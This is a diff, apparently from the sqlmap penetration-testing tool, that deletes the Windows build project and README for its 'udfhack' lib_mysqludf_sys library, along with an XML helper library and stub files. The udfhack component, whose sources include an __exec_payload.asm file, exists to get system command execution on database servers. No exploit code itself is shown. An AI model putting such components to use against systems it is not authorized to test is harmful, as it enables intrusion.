-}
-#endif
-
-#endif /* HAVE_DLOPEN */

extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj

@@ -1,368 +0,0 @@
-<?xml version="1.0" encoding="Windows-1252"?>
-<VisualStudioProject
-	ProjectType="Visual C++"
-	Version="8,00"
-	Name="lib_mysqludf_sys"
-	ProjectGUID="{4D362A3E-CA53-444C-B1C8-C49641823875}"
-	RootNamespace="lib_mysqludf_sys"
-	TargetFrameworkVersion="196613"
-	>
-	<Platforms>
-		<Platform
-			Name="Win32"
-		/>
-		<Platform
-			Name="x64"
-		/>
-	</Platforms>
-	<ToolFiles>
-		<DefaultToolFile
-			FileName="masm.rules"
-		/>
-	</ToolFiles>
-	<Configurations>
-		<Configuration
-			Name="Debug|Win32"
-			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="2"
-			CharacterSet="2"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="MASM"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="0"
-				AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\include;$(MYSQL_SERVER_DIR)\include"
-				PreprocessorDefinitions="HAVE_DLOPEN"
-				MinimalRebuild="true"
-				BasicRuntimeChecks="3"
-				RuntimeLibrary="3"
-				WarningLevel="3"
-				DebugInformationFormat="4"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)"
-				GenerateDebugInformation="true"
-				TargetMachine="1"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
-		<Configuration
-			Name="Debug|x64"
-			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
-			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
-			ConfigurationType="2"
-			CharacterSet="2"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="MASM"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-				TargetEnvironment="3"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="0"
-				AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\include;$(MYSQL_SERVER_DIR)\include"
-				PreprocessorDefinitions="HAVE_DLOPEN"
-				MinimalRebuild="true"
-				BasicRuntimeChecks="3"
-				RuntimeLibrary="3"
-				WarningLevel="3"
-				DebugInformationFormat="3"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)"
-				GenerateDebugInformation="true"
-				TargetMachine="17"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
-		<Configuration
-			Name="Release|Win32"
-			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="2"
-			CharacterSet="2"
-			WholeProgramOptimization="1"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="MASM"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="1"
-				EnableIntrinsicFunctions="true"
-				FavorSizeOrSpeed="2"
-				AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\include;$(MYSQL_SERVER_DIR)\include"
-				PreprocessorDefinitions="HAVE_DLOPEN"
-				RuntimeLibrary="2"
-				EnableFunctionLevelLinking="true"
-				WarningLevel="3"
-				DebugInformationFormat="0"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)\Lib"
-				GenerateDebugInformation="true"
-				OptimizeReferences="2"
-				EnableCOMDATFolding="2"
-				TargetMachine="17"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
-		<Configuration
-			Name="Release|x64"
-			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
-			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
-			ConfigurationType="2"
-			CharacterSet="2"
-			WholeProgramOptimization="1"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="MASM"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-				TargetEnvironment="3"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="2"
-				EnableIntrinsicFunctions="true"
-				AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\include;$(MYSQL_SERVER_DIR)\include"
-				PreprocessorDefinitions="HAVE_DLOPEN"
-				RuntimeLibrary="2"
-				EnableFunctionLevelLinking="true"
-				WarningLevel="3"
-				DebugInformationFormat="3"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)\Lib\x64"
-				GenerateDebugInformation="false"
-				OptimizeReferences="2"
-				EnableCOMDATFolding="2"
-				OptimizeForWindows98="1"
-				TargetMachine="17"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
-	</Configurations>
-	<References>
-	</References>
-	<Files>
-		<Filter
-			Name="Source Files"
-			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
-			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
-			>
-			<File
-				RelativePath=".\__exec_payload.asm"
-				>
-				<FileConfiguration
-					Name="Release|x64"
-					>
-					<Tool
-						Name="VCCustomBuildTool"
-						CommandLine="ml64.exe /c  /Cx &quot;$(inputpath)&quot;&#x0D;&#x0A;"
-						Outputs="$(InputName).obj"
-					/>
-				</FileConfiguration>
-			</File>
-			<File
-				RelativePath=".\lib_mysqludf_sys.c"
-				>
-			</File>
-		</Filter>
-		<Filter
-			Name="Header Files"
-			Filter="h;hpp;hxx;hm;inl;inc;xsd"
-			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
-			>
-		</Filter>
-		<Filter
-			Name="Resource Files"
-			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
-			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
-			>
-		</Filter>
-	</Files>
-	<Globals>
-	</Globals>
-</VisualStudioProject>

extra/udfhack/windows/64/lib_postgresqludf_sys/README.txt

@@ -1 +0,0 @@
-PostgreSQL does not compile under Windows 64-bit.

extra/udfhack/windows/README.txt

@@ -1,25 +0,0 @@
-Before compiling, certain enviroment variables have to be set,
-depending on the project used. For project lib_mysqludf_sys variables
-PLATFORM_SDK_DIR and MYSQL_SERVER_DIR have to be set, while for project
-lib_postgresqludf_sys variables PLATFORM_SDK_DIR and
-POSTGRESQL_SERVER_DIR.
-
-Variables:
---------------------------------------------------------------------------
-Variable name			Variable description
---------------------------------------------------------------------------
-PLATFORM_SDK_DIR		Directory where the Platform SDK is installed
-MYSQL_SERVER_DIR		Directory where the MySQL is installed
-POSTGRESQL_SERVER_DIR	Directory where the PostgreSQL is installed
-
-Procedure for setting environment variables:
-My Computer -> Properties -> Advanced -> Environment Variables
-User variables -> New
-
-Sample values:
---------------------------------------------------------------------------
-Variable name			Variable value
---------------------------------------------------------------------------
-PLATFORM_SDK_DIR		C:\Program Files\Microsoft Platform SDK for Windows Server 2003 R2
-MYSQL_SERVER_DIR		C:\Program Files\MySQL\MySQL Server 5.1
-POSTGRESQL_SERVER_DIR	C:\Program Files\PostgreSQL\8.4

extra/xdot/__init__.py

@@ -1,19 +0,0 @@
-#!/usr/bin/env python
-#
-# Copyright 2008-2009 Jose Fonseca
-#
-# This program is free software: you can redistribute it and/or modify it
-# under the terms of the GNU Lesser General Public License as published
-# by the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
-
-pass

extra/xmlobject/__init__.py

@@ -1,19 +0,0 @@
-#!/usr/bin/env python
-#
-# Copyright 2007-2008 David McNab
-#
-# This program is free software: you can redistribute it and/or modify it
-# under the terms of the GNU Lesser General Public License as published
-# by the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
-
-pass

extra/xmlobject/xmlobject.py

@@ -1,583 +0,0 @@
-#!/usr/bin/env python
-#
-# Copyright 2007-2008 David McNab
-#
-# This program is free software: you can redistribute it and/or modify it
-# under the terms of the GNU Lesser General Public License as published
-# by the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
-
-"""
-Allows XML files to be operated on like Python objects.
-
-Features:
-    - load XML source from file pathnames, readable file objects or raw strings
-    - add, get and set tag attributes like with python attributes
-    - iterate over nodes
-    - save the modified XMLFile or XMLObject to file
-
-Example XML file::
-
-    <?xml version="1.0" encoding="UTF-8"?>
-    <rapsheets>
-     <person name="John Smith" age="42">
-        <!-- John Smith has an appeal in process against his last conviction -->
-        <crime name="Armed robbery" date="March 11, 1994"/>
-        <crime name="Aggravated burglary" date="June 9, 2001"/>
-     </person>
-     <person name="Mary Jones" age="33">
-        <crime name="Prostitution" date="January 8, 1997"/>
-        <crime name="Selling heroin" date="September 4, 2002"/>
-        <crime name="Manslaughter" date="December 21, 2004"/>
-     </person>
-    </rapsheets>
-
-Example usage::
-
-    >> from xmlobject import XMLFile
-
-    >> x = XMLFile(path="sample.xml")
-
-    >> print x
-    <xmlobj.XMLFile instance at 0xb7ccc52c>
-
-    >> print x.root
-    <XMLNode: rapsheets>
-
-    >> print x.root._children
-    [<XMLNode: text>, <XMLNode: person>, <XMLNode: text>,
-     <XMLNode: person>, <XMLNode: text>]
-
-    >> print x.root.person
-    [<XMLNode: person>, <XMLNode: person>]
-
-    >> print x.root.person[0].name
-    John Smith
-
-    >> john = x.root.person[0]
-
-    >> john.height = 184
-
-    >> c = john._addNode("crime")
-
-    >> c.name = "Grand Theft Auto"
-
-    >> c.date = "4 May, 2005"
-
-    >> print x.toxml()
-    <?xml version="1.0" ?>
-    <rapsheets>
-     <person age="42" height="184" name="John Smith">
-        <!-- John Smith has an appeal in process against his last conviction -->
-        <crime date="March 11, 1994" name="Armed robbery"/>
-        <crime date="June 9, 2001" name="Aggravated burglary"/>
-     <crime date="4 May, 2005" name="Grand Theft Auto"/></person>
-     <person age="33" name="Mary Jones">
-        <crime date="January 8, 1997" name="Prostitution"/>
-        <crime date="September 4, 2002" name="Selling heroin"/>
-        <crime date="December 21, 2004" name="Manslaughter"/>
-     </person>
-    </rapsheets>
-
-    >>
-
-"""
-
-import sys, os
-import xml.dom
-import xml.dom.minidom
-from xml.dom.minidom import parse, parseString, getDOMImplementation
-
-impl = getDOMImplementation()
-
-class MissingRootTag(Exception):
-    """root tag name was not given"""
-
-class IncorrectRootTag(Exception):
-    """root tag is given but incorrect"""
-
-class InvalidXML(Exception):
-    """failed to parse XML input"""
-
-class CannotSave(Exception):
-    """unable to save"""
-
-class InvalidNode(Exception):
-    """not a valid minidom node"""
-
-class XMLFile:
-    """
-    Allows an xml file to be viewed and operated on
-    as a python object.
-
-    (If you're viewing the epydoc-generated HTML documentation, click the 'show private'
-    link at the top right of this page to see all the methods)
-
-    Holds the root node in the .root attribute, also in an attribute
-    with the same name as this root node.
-    """
-    def __init__(self, **kw):
-        """
-        Create an XMLFile
-
-        Keywords:
-            - path - a pathname from which the file can be read
-            - file - an open file object from which the raw xml
-              can be read
-            - raw - the raw xml itself
-            - root - name of root tag, if not reading content
-
-        Usage scenarios:
-            1. Working with existing content - you must supply input in
-               one of the following ways:
-                   - 'path' must be an existing file, or
-                   - 'file' must be a readable file object, or
-                   - 'raw' must contain raw xml as a string
-            2. Creating whole new content - you must give the name
-               of the root tag in the 'root' keyword
-
-        Notes:
-            - Keyword precedence governing existing content is:
-                1. path (if existing file)
-                2. file
-                3. raw
-            - If working with existing content:
-                - if the 'root' is given, then the content's toplevel tag
-                  MUST match the value given for 'root'
-                - trying to _save will raise an exception unless 'path'
-                  has been given
-            - if not working with existing content:
-                - 'root' must be given
-                - _save() will raise an exception unless 'path' has been given
-        """
-        path = kw.get("path", None)
-        fobj = kw.get("file", None)
-        raw = kw.get("raw", None)
-        root = kw.get("root", None)
-        textfilter = kw.get("textfilter", None)
-
-        if path:
-            self.path = path
-            try:
-                fobj = file(path)
-            except IOError:
-                pass
-        else:
-            self.path = None
-
-        if fobj:
-            raw = fobj.read()
-
-        if raw:
-            self.dom = xml.dom.minidom.parseString(raw)
-        else:
-            # could not source content, so create a blank slate
-            if not root:
-                # in which case, must give a root node name
-                raise MissingRootTag(
-                        "No existing content, so must specify root")
-
-            # ok, create a blank dom
-            self.dom = impl.createDocument(None, root, None)
-
-        # get the root node, save it as attributes 'root' and name of node
-        rootnode = self.dom.documentElement
-
-        # now validate root tag
-        if root:
-            if rootnode.nodeName != root:
-                raise IncorrectRootTag("Gave root='%s', input has root='%s'" % (
-                    root, rootnode.nodeName))
-
-        if textfilter:
-            self.textfilter = textfilter
-        else:
-            self.textfilter = lambda x: x
-
-        # need this for recursion in XMLNode
-        self._childrenByName = {}
-        self._children = []
-
-        # add all the child nodes
-        for child in self.dom.childNodes:
-            childnode = XMLNode(self, child)
-            #print "compare %s to %s" % (rootnode, child)
-            if child == rootnode:
-                #print "found root"
-                self.root = childnode
-        setattr(self, rootnode.nodeName, self.root)
-
-    def save(self, where=None, obj=None):
-        """
-        Saves the document.
-
-        If argument 'where' is given, saves to it, otherwise
-        tries to save to the original given 'path' (or barfs)
-
-        Value can be a string (taken to be a file path), or an open
-        file object.
-        """
-        obj = obj or self.dom
-
-        if not where:
-            if self._root.path:
-                where = self._root.path
-
-        if isinstance(where, str):
-            where = file(where, "w")
-
-        if not where:
-            raise CannotSave("No save destination, and no original path")
-
-        where.write(obj.toxml())
-        where.flush()
-
-    def saveAs(self, path):
-        """
-        save this time, and all subsequent times, to filename 'path'
-        """
-        self.path = path
-        self.save()
-
-    def toxml(self):
-        return self.dom.toxml()
-
-    def __len__(self):
-        """
-        returns number of child nodes
-        """
-        return len(self._children)
-
-    def __getitem__(self, idx):
-        if isinstance(idx, int):
-            return self._children[idx]
-        else:
-            return self._childrenByName[idx]
-
-
-class XMLNode:
-    """
-    This is the workhorse for the xml object interface
-
-    (If you're viewing the epydoc-generated HTML documentation, click the 'show private'
-    link at the top right of this page to see all the methods)
-
-    """
-    def __init__(self, parent, node):
-        """
-        You shouldn't need to instantiate this directly
-        """
-        self._parent = parent
-        if isinstance(parent, XMLFile):
-            self._root = parent
-        else:
-            self._root = parent._root
-        self._node = node
-        self._childrenByName = {}
-        self._children = []
-
-        # add ourself to parent's children registry
-        parent._children.append(self)
-
-        # the deal with named subtags is that we store the first instance
-        # as itself, and with second and subsequent instances, we make a list
-        parentDict = self._parent._childrenByName
-        nodeName = node.nodeName
-        if not parentDict.has_key(nodeName):
-            parentDict[nodeName] = self._parent.__dict__[nodeName] = self
-        else:
-            if isinstance(parentDict[nodeName], XMLNode):
-                # this is the second child node of a given tag name, so convert
-                # the instance to a list
-                parentDict[nodeName] = parent.__dict__[nodeName] = [parentDict[nodeName]]
-            parentDict[nodeName].append(self)
-
-        # figure out our type
-        self._value = None
-        if isinstance(node, xml.dom.minidom.Text):
-            self._type = "text"
-            self._value = self._root.textfilter(node.nodeValue)
-        elif isinstance(node, xml.dom.minidom.Element):
-            self._type = "node"
-        elif isinstance(node, xml.dom.minidom.Comment):
-            self._type = "comment"
-            self._value = node.nodeValue
-        else:
-            raise InvalidNode("node class %s" % node.__class__)
-
-        # and wrap all the child nodes
-        for child in node.childNodes:
-            XMLNode(self, child)
-
-    def _render(self):
-        """
-        Produces well-formed XML of this node's contents,
-        indented as required
-        """
-        return self._node.toxml()
-
-    def __repr__(self):
-        if self._type == "node":
-            return "<XMLNode: %s>" % self._node.nodeName
-        else:
-            return "<XMLNode: %s>" % self._type
-
-    def __getattr__(self, attr):
-        """
-        Fetches an attribute or child node of this tag
-
-        If it's an attribute, then returns the attribute value as a string.
-
-        If a child node, then:
-            - if there is only one child node of that name, return it
-            - if there is more than one child node of that name, return a list
-              of child nodes of that tag name
-
-        Supports some magic attributes:
-            - _text - the value of the first child node of type text
-        """
-        #print "%s: __getattr__: attr=%s" % (self, attr)
-
-        if attr == '_text':
-            # magic attribute to return text
-            tnode = self['#text']
-            if isinstance(tnode, list):
-                tnode = tnode[0]
-            return tnode._value
-
-        if self._type in ['text', 'comment']:
-            if attr == '_value':
-                return self._node.nodeValue
-            else:
-                raise AttributeError(attr)
-
-        if self._node.hasAttribute(attr):
-            return self._node.getAttribute(attr)
-        elif self._childrenByName.has_key(attr):
-            return self._childrenByName[attr]
-
-        #elif attr == 'value':
-            # magic attribute
-
-        else:
-            raise AttributeError(attr)
-
-
-    def __setattr__(self, attr, val):
-        """
-        Change the value of an attribute of this tag
-
-        The magic attribute '_text' can be used to set the first child
-        text node's value
-
-        For example::
-
-            Consider:
-
-              <somenode>
-                <child>foo</child>
-              </somenode>
-
-            >> somenode
-            <XMLNODE: somenode>
-            >> somenode.child
-            <XMLNODE: child>
-            >> somenode.child._text
-            'foo'
-            >> somenode._toxml()
-            u'<somenode><child>foo</child></somenode>'
-            >> somenode.child._text = 'bar'
-            >> somenode.child._text
-            'bar'
-            >> somenode.child._toxml()
-            u'<somenode><child>bar/child></somenode>'
-
-        """
-        if attr.startswith("_"):
-
-            # magic attribute for setting _text
-            if attr == '_text':
-                tnode = self['#text']
-                if isinstance(tnode, list):
-                    tnode = tnode[0]
-                tnode._node.nodeValue = val
-                tnode._value = val
-                return
-
-            self.__dict__[attr] = val
-        elif self._type in ['text', 'comment']:
-            self._node.nodeValue = val
-        else:
-            # discern between attribute and child node
-            if self._childrenByName.has_key(attr):
-                raise Exception("Attribute Exists")
-            self._node.setAttribute(attr, str(val))
-
-    def _keys(self):
-        """
-        Return a list of attribute names
-        """
-        return self._node.attributes.keys()
-
-    def _values(self):
-        """
-        Returns a list of (attrname, attrval) tuples for this tag
-        """
-        return [self._node.getAttribute(k) for k in self._node.attributes.keys()]
-
-    def _items(self):
-        """
-        returns a list of attribute values for this tag
-        """
-        return [(k, self._node.getAttribute(k)) for k in self._node.attributes.keys()]
-
-    def _has_key(self, k):
-        """
-        returns True if this tag has an attribute of the given name
-        """
-        return self._node.hasAttribute(k) or self._childrenByName.has_key(k)
-
-    def _get_name(self):
-        if self._type == "node":
-            return self._node.nodeName
-        else:
-            return self._type
-
-    def _get(self, k, default=None):
-        """
-        returns the value of attribute k, or default if no such attribute
-        """
-        if self._has_key(k):
-            return getattr(self, k)
-        else:
-            return default
-
-    def __len__(self):
-        """
-        returns number of child nodes
-        """
-        return len(self._children)
-
-    def __getitem__(self, idx):
-        """
-        if given key is numeric, return the nth child, otherwise
-        try to return the child tag (or list of child tags) having
-        the key as the tag name
-        """
-        #print "__getitem__: idx=%s" % str(idx)
-
-        if isinstance(idx, slice) or isinstance(idx, int):
-            return self._children[idx]
-        elif isinstance(idx, str):
-            return self._childrenByName[idx]
-        else:
-            raise IndexError(idx)
-
-    def __contains__(self, k):
-        return self._has_key(k)
-
-    def _addNode(self, child):
-        """
-        Tries to append a child node to the tree, and returns it
-
-        Value of 'child' must be one of:
-            - a string (in which case it is taken to be the name
-              of the new node's tag)
-            - a dom object, in which case it will be wrapped and added
-            - an XMLNode object, in which case it will be added without
-              wrapping
-        """
-
-        if isinstance(child, XMLNode):
-
-            # add it to our children registry
-            self._children.append(child)
-
-            parentDict = self._childrenByName
-            nodeName = child._node.nodeName
-
-            if not parentDict.has_key(nodeName):
-                parentDict[nodeName] = parent.__dict__[nodeName] = child
-            else:
-                if isinstance(parentDict[nodeName], XMLNode):
-                    # this is the second child node of a given tag name, so convert
-                    # the instance to a list
-                    parentDict[nodeName] = self.__dict__[nodeName] = [parentDict[nodeName]]
-                parentDict[nodeName].append(child)
-
-            # and stick it in the dom
-            self._node.appendChild(child._node)
-
-            return child
-
-        elif isinstance(child, str):
-            childNode = self._root.dom.createElement(child)
-            self._node.appendChild(childNode)
-
-        elif isinstance(child, xml.dom.minidom.Element):
-            childNode = child
-            child = childNode.nodeName
-            self._node.appendChild(childNode)
-
-
-        return XMLNode(self, childNode)
-
-    def _addText(self, value):
-        """
-        Tries to append a child text node, with the given text, to the tree,
-        and returns the created node object
-        """
-        childNode = self._root.dom.createTextNode(value)
-        self._node.appendChild(childNode)
-        return XMLNode(self, childNode)
-
-    def _addComment(self, comment):
-        """
-        Tries to append a child comment node (with the given text value)
-        to the tree, and returns the create node object
-        """
-        childNode = self._root.dom.createCommentNode(comment)
-        self._node.appendChild(childNode)
-        return XMLNode(self, childNode)
-
-    def _save(self, where=None):
-        """
-        Generates well-formed XML from just this node, and saves it
-        to a file.
-
-        Argument 'where' is either an open file object, or a pathname
-
-        If 'where' is not given, then saves the entire document tree.
-        """
-        if not where:
-            self._root.save()
-        else:
-            self._root.save(where, self._node)
-
-    def _toxml(self):
-        """
-        renders just this node out to raw xml code
-        """
-        return self._node.toxml()
-
-    def _treeWalker(self, node, nodes):
-        for child in node._children:
-            if child._type == 'node':
-                nodes.append(child)
-                self._treeWalker(child, nodes)
-
-    def _toflat(self):
-        ret = [self]
-        self._treeWalker(self, ret)
-        return ret
-
-    _name = property(_get_name)

lib/__init__.py

@@ -1,10 +0,0 @@
-#!/usr/bin/env python
-
-"""
-$Id$
-
-Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
-See the file 'doc/COPYING' for copying permission
-"""
-
-pass